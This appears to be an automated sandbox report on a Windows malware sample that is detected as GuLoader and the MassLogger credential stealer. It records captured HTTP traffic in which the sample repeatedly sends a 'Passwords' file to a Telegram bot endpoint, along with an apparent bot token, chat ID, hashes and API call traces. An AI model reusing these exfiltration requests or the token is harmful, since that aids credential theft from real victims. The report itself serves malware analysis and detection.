2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32068823f644Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:20:32 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:20:32 GMT Content-Type: application/json Content-Length: 535 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:20:32 UTC	535	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 39 34 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 39 35 30 34 33 35 34 38 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 78 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 78 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 36 34 33 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":5949,"from":{"id":7950435483,"is_bot":true,"first_name":"vandroxx","username":"vandroxx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1736576432,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49717	149.154.167.220	443	8088	C:\Users\user\Desktop\14lVOjBoI2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:20:33 UTC	270	OUT	POST /bot7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3219f29a7316 Host: api.telegram.org Content-Length: 1090
2025-01-11 06:20:33 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 31 39 66 32 39 61 37 33 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3219f29a7316Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:20:33 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:20:33 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:20:33 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 39 35 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 39 35 30 34 33 35 34 38 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 78 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 78 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 36 34 33 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":5950,"from":{"id":7950435483,"is_bot":true,"first_name":"vandroxx","username":"vandroxx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1736576433,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49719	149.154.167.220	443	8088	C:\Users\user\Desktop\14lVOjBoI2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:20:36 UTC	294	OUT	POST /bot7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32385951aceb Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-11 06:20:36 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 33 38 35 39 35 31 61 63 65 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32385951acebContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:20:36 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:20:36 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:20:36 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 39 35 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 39 35 30 34 33 35 34 38 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 78 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 78 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 36 34 33 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":5951,"from":{"id":7950435483,"is_bot":true,"first_name":"vandroxx","username":"vandroxx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1736576436,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49721	149.154.167.220	443	8088	C:\Users\user\Desktop\14lVOjBoI2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:20:37 UTC	294	OUT	POST /bot7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3248dfac04a0 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-11 06:20:37 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 34 38 64 66 61 63 30 34 61 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3248dfac04a0Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:20:37 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:20:37 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:20:37 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 39 35 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 39 35 30 34 33 35 34 38 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 78 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 78 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 36 34 33 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":5952,"from":{"id":7950435483,"is_bot":true,"first_name":"vandroxx","username":"vandroxx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1736576437,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49723	149.154.167.220	443	8088	C:\Users\user\Desktop\14lVOjBoI2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:20:39 UTC	294	OUT	POST /bot7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32595b5c71f3 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-11 06:20:39 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 35 39 35 62 35 63 37 31 66 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32595b5c71f3Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:20:39 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:20:39 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:20:39 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 39 35 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 39 35 30 34 33 35 34 38 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 78 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 78 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 36 34 33 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":5953,"from":{"id":7950435483,"is_bot":true,"first_name":"vandroxx","username":"vandroxx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1736576439,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49725	149.154.167.220	443	8088	C:\Users\user\Desktop\14lVOjBoI2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:20:40 UTC	294	OUT	POST /bot7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd326b2a85fce9 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-11 06:20:40 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 36 62 32 61 38 35 66 63 65 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd326b2a85fce9Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:20:41 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:20:41 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:20:41 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 39 35 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 39 35 30 34 33 35 34 38 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 78 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 78 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 36 34 34 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":5954,"from":{"id":7950435483,"is_bot":true,"first_name":"vandroxx","username":"vandroxx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1736576441,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.9	49727	149.154.167.220	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:20:45 UTC	294	OUT	POST /bot7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31de2b830c3e Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-11 06:20:45 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 64 65 32 62 38 33 30 63 33 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31de2b830c3eContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:20:45 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:20:45 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:20:45 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 39 35 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 39 35 30 34 33 35 34 38 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 78 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 78 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 36 34 34 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":5955,"from":{"id":7950435483,"is_bot":true,"first_name":"vandroxx","username":"vandroxx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1736576445,"document":{"file_name":"U

Target ID:	0
Start time:	01:18:35
Start date:	11/01/2025
Path:	C:\Users\user\Desktop\14lVOjBoI2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\14lVOjBoI2.exe"
Imagebase:	0x400000
File size:	472'339 bytes
MD5 hash:	EBF8A74191898B4A5CD58FFE2035C1EE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2119760895.0000000002A1A000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:19:48
Start date:	11/01/2025
Path:	C:\Users\user\Desktop\14lVOjBoI2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\14lVOjBoI2.exe"
Imagebase:	0x400000
File size:	472'339 bytes
MD5 hash:	EBF8A74191898B4A5CD58FFE2035C1EE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000005.00000002.2670933518.0000000036672000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2670933518.0000000036672000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000005.00000002.2670933518.0000000036672000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000005.00000002.2643645497.00000000017DA000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	21.2%
Dynamic/Decrypted Code Coverage:	13.9%
Signature Coverage:	20.8%
Total number of Nodes:	1516
Total number of Limit Nodes:	46

Executed Functions

Function 004032A0 Relevance: 89.7, APIs: 32, Strings: 19, Instructions: 401
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004032C2
GetVersion.KERNEL32 ref: 004032C8
#17.COMCTL32(00000007,00000009,SETUPAPI,USERENV,UXTHEME), ref: 00403318
OleInitialize.OLE32(00000000), ref: 0040331F
SHGetFileInfoW.SHELL32(0042B228,00000000,?,000002B4,00000000), ref: 0040333B
GetCommandLineW.KERNEL32(00433F00,NSIS Error), ref: 00403350
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\14lVOjBoI2.exe",00000000), ref: 00403363
CharNextW.USER32(00000000,"C:\Users\user\Desktop\14lVOjBoI2.exe",00000020), ref: 0040338A

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 004034C5
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004034D6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034E2
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034F6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004034FE
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 0040350F
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403517
DeleteFileW.KERNELBASE(1033), ref: 0040352B

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

OleUninitialize.OLE32(?), ref: 004035F6
ExitProcess.KERNEL32 ref: 00403618
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\14lVOjBoI2.exe",00000000,?), ref: 0040362B
